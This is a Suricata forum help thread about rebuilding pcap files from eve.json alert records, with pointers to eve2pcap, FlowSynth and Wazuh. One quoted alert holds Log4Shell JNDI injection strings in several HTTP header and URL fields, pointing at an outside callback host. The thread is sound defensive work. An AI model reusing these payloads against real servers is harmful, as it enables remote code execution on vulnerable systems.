# How to create pcap with packet:payload fields (eve.json)

**URL:** <https://forum.suricata.io/t/how-to-create-pcap-with-packet-payload-fields-eve-json/2176>\
**Category:** Help\
**Created:** [February 1, 2022, 4:28pm UTC](https://forum.suricata.io/t/how-to-create-pcap-with-packet-payload-fields-eve-json/2176 "2022-02-01T16:28:03Z")\
**Posts on this page:** 8\
**Page:** 1

<div class="post-metadata">

**Author:** ![THaa](https://avatars.discourse-cdn.com/v4/letter/t/9fc29f/32.png) [@THaa](https://forum.suricata.io/u/THaa)\
**Post date:** [February 1, 2022, 4:28pm UTC](https://forum.suricata.io/t/how-to-create-pcap-with-packet-payload-fields-eve-json/2176/1 "2022-02-01T16:28:03Z")

</div>

Hi,  
I receive alerts in Eve JSON Format, but in some cases i need to export some suspicious alerts to pcap file.  
As you know in this [format](https://suricata.readthedocs.io/en/latest/output/eve/eve-json-format.html#eve-json-format) there are some fields like packet, payload, linktype to generate pcap, But i didn’t find any tutorial about it.

---

<div class="post-metadata">

**Author:** ![THaa](https://avatars.discourse-cdn.com/v4/letter/t/9fc29f/32.png) [@THaa](https://forum.suricata.io/u/THaa)\
**Post date:** [February 1, 2022, 4:40pm UTC](https://forum.suricata.io/t/how-to-create-pcap-with-packet-payload-fields-eve-json/2176/2 "2022-02-01T16:40:41Z")

</div>

Sample alert in eve json format:

```auto
{
    "alert": {
        "action": "allowed",
        "category": "Attempted Administrator Privilege Gain",
        "gid": 1,
        "metadata": {
            "attack_target": [
                "Server"
            ],
            "created_at": [
                "2021_12_17"
            ],
            "cve": [
                "CVE_2021_44228"
            ],
            "deployment": [
                "Perimeter"
            ],
            "former_category": [
                "EXPLOIT"
            ],
            "signature_severity": [
                "Major"
            ],
            "tag": [
                "Exploit"
            ],
            "updated_at": [
                "2021_12_17"
            ]
        },
        "rev": 1,
        "severity": 1,
        "signature": "ET EXPLOIT Apache log4j RCE Attempt (tcp ldap) (Outbound) (CVE-2021-44228)",
        "signature_id": 2034759
    },
    "app_proto": "http",
    "dest_ip": "85.10.2xx.xxx",
    "dest_port": 80,
    "event_type": "alert",
    "flow": {
        "bytes_toclient": 1762,
        "bytes_toserver": 14542,
        "pkts_toclient": 16,
        "pkts_toserver": 15,
        "start": "2021-12-25T17:21:18.082863+0100"
    },
    "flow_id": 1915201646904239,
    "host": "sqi",
    "http": {
        "hostname": "85.10.2xx.xxx",
        "http_method": "GET",
        "http_refer": "https://${jndi:ldap://85.10.2xx.xxx.7ef71l937e0h4y00e16c33978976q724b.interact.sh/ri3xjv7}",
        "http_user_agent": "${jndi:ldap://85.10.2xx.xxx.7ef71l937e0h4y00e16c33978976q724b.interact.sh/ri3xjv7}",
        "length": 0,
        "protocol": "HTTP/1.1",
        "url": "/?v=%24%7Bjndi%3Aldap%3A%2F%2F85.10.2xx.xxx.7ef71l937e0h4y00e16c33978976q724b.interact.sh%2Fri3xjv7%7D",
        "xff": "${jndi:ldap://85.10.2xx.xxx.7ef71l937e0h4y00e16c33978976q724b.interact.sh/ri3xjv7}"
    },
    "in_iface": "ens192",
    "metadata": {
        "flowbits": [
            "http.dottedquadhost"
        ]
    },
    "packet": "....QAfYP6AAAAQEICjfnaB7TeavLAQEFCvBlMN7wZTDf...",
    "packet_info": {
        "linktype": 1
    },
    "payload": "....QAfYP6AAAAQEICjfnaB7TeavLAQEFCvBlMN7wZTDfQAfYP6AAAAQEICjfnaB7TeavLAQEFCvBlMN7wZTDfQAfYP6AAAAQEICjfnaB7TeavLAQEFCvBlMN7wZTDfQAfYP6AAAAQEICjfnaB7TeavLAQEFCvBlMN7wZTDf.....",
    "proto": "TCP",
    "src_ip": "192.168.87.120",
    "src_port": 15374,
    "stream": 1,
    "timestamp": "2021-12-25T17:21:18.141116+0100"
}

```

---

<div class="post-metadata">

**Author:** ![THaa](https://avatars.discourse-cdn.com/v4/letter/t/9fc29f/32.png) [@THaa](https://forum.suricata.io/u/THaa)\
**Post date:** [February 1, 2022, 4:44pm UTC](https://forum.suricata.io/t/how-to-create-pcap-with-packet-payload-fields-eve-json/2176/3 "2022-02-01T16:44:12Z")

</div>

I’m looking for something like [this link](https://idstools.readthedocs.io/en/latest/_modules/idstools/scripts/eve2pcap.html) ~~but (i think) it works with unified format not eve\_json.~~

---

<div class="post-metadata">

**Author:** ![bmurphy](https://avatars.discourse-cdn.com/v4/letter/b/f19dbf/32.png) [@bmurphy](https://forum.suricata.io/u/bmurphy)\
**Post date:** [February 1, 2022, 9:21pm UTC](https://forum.suricata.io/t/how-to-create-pcap-with-packet-payload-fields-eve-json/2176/4 "2022-02-01T21:21:45Z")

</div>

You could use the “packet” in the eve log and something like FlowSynth to recreate a tcp stream with the same payload.

> **[GitHub - secureworks/flowsynth: a network packet capture compiler](https://github.com/secureworks/flowsynth)**
>
> a network packet capture compiler. Contribute to secureworks/flowsynth development by creating an account on GitHub.

---

<div class="post-metadata">

**Author:** ![THaa](https://avatars.discourse-cdn.com/v4/letter/t/9fc29f/32.png) [@THaa](https://forum.suricata.io/u/THaa)\
**Post date:** [February 2, 2022, 5:13am UTC](https://forum.suricata.io/t/how-to-create-pcap-with-packet-payload-fields-eve-json/2176/5 "2022-02-02T05:13:17Z")

</div>

Dear @ish  
I checked [eve2pcap](https://github.com/jasonish/py-idstools/blob/master/idstools/scripts/eve2pcap.py) again and i found it seems that’s what i looking for,  
But i some cases (maybe large payloads), “stream” field is 1, how can i generate whole packet as a pcap file? because in this case eve2pcap just create a tcp packet without payload

 ![image](https://canada1.discourse-cdn.com/flex030/uploads/suricata/original/2X/c/cc80919f8634ab2b6607451d5049389e6e8d2acc.png)

and --payload option just create a raw packet without phy layer:

 ![image](https://canada1.discourse-cdn.com/flex030/uploads/suricata/original/2X/8/872a36f2a58ca5532d17c52ee4a42743f1f3ab98.png)

---

<div class="post-metadata">

**Author:** ![ish](https://yyz2.discourse-cdn.com/flex030/user_avatar/forum.suricata.io/ish/32/8_2.png) [@ish](https://forum.suricata.io/u/ish)\
**Post date:** [February 2, 2022, 2:42pm UTC](https://forum.suricata.io/t/how-to-create-pcap-with-packet-payload-fields-eve-json/2176/6 "2022-02-02T14:42:52Z")

</div>

These are the current options at this time. In IDS mode, the `packet` isn’t that useful. It is usually not the packet that triggered the alert, so not of much use. And the payload is just the payload, so we have to fake out the headers with what we know from the eve record.

---

<div class="post-metadata">

**Author:** ![THaa](https://avatars.discourse-cdn.com/v4/letter/t/9fc29f/32.png) [@THaa](https://forum.suricata.io/u/THaa)\
**Post date:** [February 2, 2022, 5:00pm UTC](https://forum.suricata.io/t/how-to-create-pcap-with-packet-payload-fields-eve-json/2176/7 "2022-02-02T17:00:21Z")

</div>

But the `packet` has `Ethernet` layer and `payload` not, and also `payload` is not available in all alerts!  
am i wrong?

---

<div class="post-metadata">

**Author:** ![sgroenev](https://yyz2.discourse-cdn.com/flex030/user_avatar/forum.suricata.io/sgroenev/32/1607_2.png) [@sgroenev](https://forum.suricata.io/u/sgroenev)\
**Post date:** [May 9, 2022, 8:51am UTC](https://forum.suricata.io/t/how-to-create-pcap-with-packet-payload-fields-eve-json/2176/8 "2022-05-09T08:51:57Z")

</div>

Interesting Topic as I came back on Monday and over the weekend there was some traffic that triggered an alert that I have been curious about.

And although the packet might not be that useful pcaps are things that can be shared all around. Also I like to see the events in question (and associated events) in wireshark (or similar)

Aside from Suricata we are using Wazuh as SIEM and potential SOAR (with active response: [Active response - Capabilities · Wazuh documentation](https://documentation.wazuh.com/current/user-manual/capabilities/active-response/index.html)) tool.[Catch suspicious network traffic - Learning Wazuh](https://documentation.wazuh.com/current/learning-wazuh/suricata.html)  
Wazuh seems to have ability to trigger tcpdump command based on alerts. Not sure how heavy this will be, but something I am looking into.

This seems to be promising: [Configuration - Active response · Wazuh documentation](https://documentation.wazuh.com/current/user-manual/capabilities/active-response/remediation-configuration.html#active-response-for-a-specified-period-of-time)
